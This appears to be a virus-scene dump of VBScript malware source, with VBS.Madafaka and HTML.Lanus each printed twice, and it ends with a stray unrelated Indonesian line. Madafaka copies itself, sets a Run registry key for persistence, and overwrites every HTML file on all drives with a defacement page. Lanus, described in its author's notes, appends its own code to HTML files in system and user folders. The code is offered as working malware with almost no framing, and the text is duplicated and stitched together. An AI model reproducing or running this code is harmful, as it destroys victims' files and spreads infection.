'VBS.Madafaka
on error resume next
Dim Fso, Drives, Drive, Folder, Files, File, Subfolders,Subfolder
Set Fso=createobject("scripting.filesystemobject")
Set w = fso.GetFile(WScript.ScriptFullName)
w.Copy ("C:\xendni.html.vbs")
Set vrc2 = CreateObject( "WScript.Shell" )
vrc2.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "xendni html", ("C:\xendni.html.vbs")
Set Drives=fso.drives
For Each Drive in Drives
If drive.isready then
Dosearch drive
end If
Next
'coded by ACIdCooKie / www.vxbiolabs.cjb.net
Function Dosearch(Path)
Set Folder=fso.getfolder(path)
Set Files = folder.files
For Each File in files
If fso.GetExtensionName(file.path)="htm" or fso.GetExtensionName(file.path)="html" then
Set Script = Fso.CreateTextFile(file.path, True)
Script.Writeline "<html>"
Script.Writeline "<b>INFECTED VBS.Madafaka / coded by ACIdCooKie</b><br><br>"
Script.Writeline "<b>http://www.vxbiolabs.cjb.net</b> Visit Web Site</a><br><br><br><center><font size=15>- VxBioLabs -<br><b> Specie & ACIdCooKie </b></center><br><br><br><font size=5>"
Script.Writeline "Don't play white me baby :)"
Script.Writeline "<br>M.a.d.a f.a.k.a"
Script.Writeline "</html>"
Script.Close
end if
Next
Set Subfolders = folder.SubFolders
For Each Subfolder in Subfolders
Dosearch Subfolder.path
Next
end function
'VBS.Madafaka / acidcookie
--------------------------------------------------------------------------------------------finish--------------------
Virus Name: HTML.Lanus
Author: Zulu
Origin: Argentina
Encoded VBScript virus. It infects HTM and HTML files.
It has no payload and the virus code will be appended at the end of the file.
It's very simple, I wrote it because I didn't find any encoded VBScript virus, so this one is
the first.
Changes between 1.1 and 1.2:
- Added "On Error Resume Next" line.
Changes between 1.0 and 1.1:
- 1.0 didn't work with Internet Explorer 5. It was tested when I wrote it with Internet
Explorer 4 using VBScript 5.0 beta and Script Encoder beta. It seems that something change in
the final versions so I encoded it with the new versions to make it work.
- Two new infection directories.
Here is the code from version 1.2 without encoding:
<!--HTML.Lanus-->
<Script Language="VBScript">
On Error Resume Next
Dim A1(6)
Randomize
If Location.Protocol = "file:" And Int((3 - 1 + 1) * Rnd + 1) = 1 Then
Set A2 = CreateObject("Scripting.FileSystemObject")
Set A3 = CreateObject("WScript.Shell")
A1(0) = A2.GetParentFolderName(A2.GetParentFolderName(Replace(Location.PathName,"/","")))
A1(1) = A2.GetSpecialFolder(1)
A1(2) = A2.GetSpecialFolder(2)
A1(3) = A2.BuildPath(A2.GetSpecialFolder(0),"HELP")
A1(4) = A3.SpecialFolders("AllUsersDesktop")
A1(5) = A3.SpecialFolders("Desktop")
A1(6) = A3.SpecialFolders("MyDocuments")
For A4 = 0 To 6
If A2.FolderExists(A1(A4)) = True Then
B A1(A4)
End If
Next
End If
Sub B(B1)
For Each B2 In A2.GetFolder(B1).Files
If UCase(A2.GetExtensionName(B2)) = "HTM" Or UCase(A2.GetExtensionName(B2)) = "HTML" Then
Set B3 = A2.OpenTextFile(B2,1)
Do While B3.AtEndOfStream = False And B4 <> "<!--HTML.Lanus-->"
B4 = B3.ReadLine
Loop
B3.Close
If B4 <> "<!--HTML.Lanus-->" Then
C B2
End If
End If
Next
Set B5 = A2.GetFolder(B1)
If B5.IsRootFolder = False Then
For Each B6 In B5.SubFolders
B B6
Next
End If
End Sub
Sub C(C1)
Set C2 = A2.GetFile(C1)
C3 = C2.Attributes
If C3 <> 0 Then
C2.Attributes = 0
End If
Set C4 = A2.OpenTextFile(Replace(Location.PathName,"/",""),1)
Set C5 = A2.OpenTextFile(C1,8)
C5.WriteLine("")
Do While C6 <> "<!--HTML.Lanus-->"
C6 = C4.ReadLine
Loop
C5.WriteLine(C6)
C5.WriteLine(C4.ReadLine)
C4.Close
C5.Close
If C3 <> 0 Then
C2.Attributes = C3
End If
End Sub
</Script>
on error resume next
Dim Fso, Drives, Drive, Folder, Files, File, Subfolders,Subfolder
Set Fso=createobject("scripting.filesystemobject")
Set w = fso.GetFile(WScript.ScriptFullName)
w.Copy ("C:\xendni.html.vbs")
Set vrc2 = CreateObject( "WScript.Shell" )
vrc2.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "xendni html", ("C:\xendni.html.vbs")
Set Drives=fso.drives
For Each Drive in Drives
If drive.isready then
Dosearch drive
end If
Next
'coded by ACIdCooKie / www.vxbiolabs.cjb.net
Function Dosearch(Path)
Set Folder=fso.getfolder(path)
Set Files = folder.files
For Each File in files
If fso.GetExtensionName(file.path)="htm" or fso.GetExtensionName(file.path)="html" then
Set Script = Fso.CreateTextFile(file.path, True)
Script.Writeline "<html>"
Script.Writeline "<b>INFECTED VBS.Madafaka / coded by ACIdCooKie</b><br><br>"
Script.Writeline "<b>http://www.vxbiolabs.cjb.net</b> Visit Web Site</a><br><br><br><center><font size=15>- VxBioLabs -<br><b> Specie & ACIdCooKie </b></center><br><br><br><font size=5>"
Script.Writeline "Don't play white me baby :)"
Script.Writeline "<br>M.a.d.a f.a.k.a"
Script.Writeline "</html>"
Script.Close
end if
Next
Set Subfolders = folder.SubFolders
For Each Subfolder in Subfolders
Dosearch Subfolder.path
Next
end function
'VBS.Madafaka / acidcookie
--------------------------------------------------------------------------------------------finish--------------------
Virus Name: HTML.Lanus
Author: Zulu
Origin: Argentina
Encoded VBScript virus. It infects HTM and HTML files.
It has no payload and the virus code will be appended at the end of the file.
It's very simple, I wrote it because I didn't find any encoded VBScript virus, so this one is
the first.
Changes between 1.1 and 1.2:
- Added "On Error Resume Next" line.
Changes between 1.0 and 1.1:
- 1.0 didn't work with Internet Explorer 5. It was tested when I wrote it with Internet
Explorer 4 using VBScript 5.0 beta and Script Encoder beta. It seems that something change in
the final versions so I encoded it with the new versions to make it work.
- Two new infection directories.
Here is the code from version 1.2 without encoding:
<!--HTML.Lanus-->
<Script Language="VBScript">
On Error Resume Next
Dim A1(6)
Randomize
If Location.Protocol = "file:" And Int((3 - 1 + 1) * Rnd + 1) = 1 Then
Set A2 = CreateObject("Scripting.FileSystemObject")
Set A3 = CreateObject("WScript.Shell")
A1(0) = A2.GetParentFolderName(A2.GetParentFolderName(Replace(Location.PathName,"/","")))
A1(1) = A2.GetSpecialFolder(1)
A1(2) = A2.GetSpecialFolder(2)
A1(3) = A2.BuildPath(A2.GetSpecialFolder(0),"HELP")
A1(4) = A3.SpecialFolders("AllUsersDesktop")
A1(5) = A3.SpecialFolders("Desktop")
A1(6) = A3.SpecialFolders("MyDocuments")
For A4 = 0 To 6
If A2.FolderExists(A1(A4)) = True Then
B A1(A4)
End If
Next
End If
Sub B(B1)
For Each B2 In A2.GetFolder(B1).Files
If UCase(A2.GetExtensionName(B2)) = "HTM" Or UCase(A2.GetExtensionName(B2)) = "HTML" Then
Set B3 = A2.OpenTextFile(B2,1)
Do While B3.AtEndOfStream = False And B4 <> "<!--HTML.Lanus-->"
B4 = B3.ReadLine
Loop
B3.Close
If B4 <> "<!--HTML.Lanus-->" Then
C B2
End If
End If
Next
Set B5 = A2.GetFolder(B1)
If B5.IsRootFolder = False Then
For Each B6 In B5.SubFolders
B B6
Next
End If
End Sub
Sub C(C1)
Set C2 = A2.GetFile(C1)
C3 = C2.Attributes
If C3 <> 0 Then
C2.Attributes = 0
End If
Set C4 = A2.OpenTextFile(Replace(Location.PathName,"/",""),1)
Set C5 = A2.OpenTextFile(C1,8)
C5.WriteLine("")
Do While C6 <> "<!--HTML.Lanus-->"
C6 = C4.ReadLine
Loop
C5.WriteLine(C6)
C5.WriteLine(C4.ReadLine)
C4.Close
C5.Close
If C3 <> 0 Then
C2.Attributes = C3
End If
End Sub
</Script>
komputerku ada keyboardnya dan juga ada tikusnya



